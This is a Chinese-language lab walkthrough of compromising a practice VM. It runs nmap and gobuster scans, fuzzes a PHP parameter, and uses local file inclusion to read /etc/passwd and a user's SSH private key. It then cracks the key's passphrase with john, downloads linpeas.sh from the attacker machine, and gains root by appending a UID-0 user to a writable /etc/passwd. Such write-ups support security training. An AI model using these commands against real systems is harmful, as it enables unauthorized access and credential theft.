渗透思路:
nmap扫描----gobuster爆破网站目录----ffuf爆破url参数----利用本地文件包含找到用户名和id_rsa----ssh2john+john爆破id_rsa的passphrase----linpeas.sh发现/etc/passwd可写----openssl生成新用户密码hash----将root权限新用户写入/etc/passwd----切换到新用户获得root权限
环境信息:
靶机:192.168.101.62
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.62
只扫描到22(ssh)和80(http)端口
2、gobuster爆破网站目录
gobuster dir -u http://192.168.101.62/ -w /usr/share/wordlists/dirb/big.txt
扫描到/robots.txt和/secret
访问http://192.168.101.62/robots.txt,似乎没什么有用的
访问http://192.168.101.62/secret/,一片空白
继续用gobuster扫描http://192.168.101.62/secret/,用-x参数增加后缀。
下面的命令中其他后缀倒无所谓,.php一定要加
gobuster dir -u http://192.168.101.62/secret/ -w /usr/share/wordlists/dirb/big.txt -x .txt,.php,.html
扫描到/evil.php
访问http://192.168.101.62/secret/evil.php,页面一片空白,查看网页源代码也啥也没有
3、ffuf爆破url参数
无计可施,只能靠猜了,猜猜evil可能可以动态包含文件,但由于http://192.168.101.62/secret/evil.php没带参数,所以网页上啥也没有。
用ffuf爆破一下http://192.168.101.62/secret/evil.php的参数是什么:
ffuf -u 'http://192.168.101.62/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0
FUZZ是待爆破的参数的占位符,-fs 0表示过滤长度为0(也就是没有响应体)的响应报文。
爆破出一个可能的参数:command
4、利用本地文件包含找到mowree用户的id_rsa
浏览器访问http://192.168.101.62/secret/evil.php?command=/etc/passwd确认一下
确实可以本地文件包含,而且还返回了/etc/passwd的内容
既然可以本地文件包含,那就看看evil.php里面有没有啥有用的信息。浏览器中访问:
得到evil.php的base64编码的代码,拿到CyberChef进行解码,发现没啥有用信息,就两句文件包含的代码
尝试了远程文件包含也不行。
还是好好研究一下/etc/passwd吧,看看什么用户是可以登录的。如果和我一样觉得直接在网页上看着眼花,可以执行一下下面的python脚本,可以分行打印用户信息,再用grep查找结果中包含bash的行就行了
s="root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin"
l=s.split()
for i in l:
print i
从执行结果可以清晰地看到,除了root还有一个叫mowree的用户是可以登录的
(其实在网页源代码里面直接搜bash也行-_-|||)
利用本地文件包含分别查看/root/.ssh/id_rsa和/home/mowree/.ssh/id_rsa文件的内容。
/root/.ssh/id_rsa查看不到,但/home/mowree/.ssh/id_rsa可以查看到
http://192.168.101.62/secret/evil.php?command=/home/mowree/.ssh/id_rsa
直接看的话格式是乱的,ssh连接的时候格式不对不让连
右键 查看网页源代码,就可以看到格式正确的id_rsa
将网页源代码拷贝,保存为id_rsa
5、ssh2john+john爆破id_rsa的passphrase
这时候如果直接用id_rsa进行ssh连接,会提示id_rsa的文件权限过高,其他用户可以接触到,太危险,所以不让用,还是要输入密码
所以要使用id_rsa进行ssh连接,首先需要修改其权限,比如修改为0600
chmod 0600 id_rsa
然后再进行ssh登录
ssh -i id_rsa mowree@192.168.101.62
还是无法登录,因为id_rsa有passphrase保护,还得先破解出passphrase
接下来先用ssh2john把id_rsa转换成john能识别的格式,再用john爆破passphrase:
先找到ssh2john的位置
locate ssh2john
用ssh2john将id_rsa转换成john能识别的格式,并输出到文件passphrase中
python2 /usr/share/john/ssh2john.py id_rsa > passphrase
可以看一下passphrase的内容
然后用john爆破
john passphrase
得到passphrase为unicorn
此时再进行ssh登录,并将unicorn作为passphrase输入,即可得到mowree用户的shell
mowree的家目录下找到第一个flag
6、/etc/passwd中写入新用户提权
攻击机上linpeas.sh所在目录下开http服务
python2 -m SimpleHTTPServer 8888
靶机上mowree的家目录下,下载linpeas.sh,增加可执行权限,并执行
wget http://192.168.101.34:8888/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
执行结果中有非常明显的提示:/etc/passwd is writable
在攻击机上用openssl生成123的MD5 hash
openssl passwd -1 123
靶机上将新用户fancy写入/etc/passwd文件,口令位置填入刚刚生成的MD5 hash,这样fancy的密码就是123了,剩下的部分全部照抄root用户。
注意:用单引号!!如果用双引号的话,$需要用\进行转义
echo 'fancy:$1$GzuoPPyT$VcrtnMfy8uuezxAZoWAnl1:0:0:root:/root:/bin/bash' >> /etc/passwd
然后执行
su - fancy
输入密码123,即可得到root权限
root目录下得到第2个flag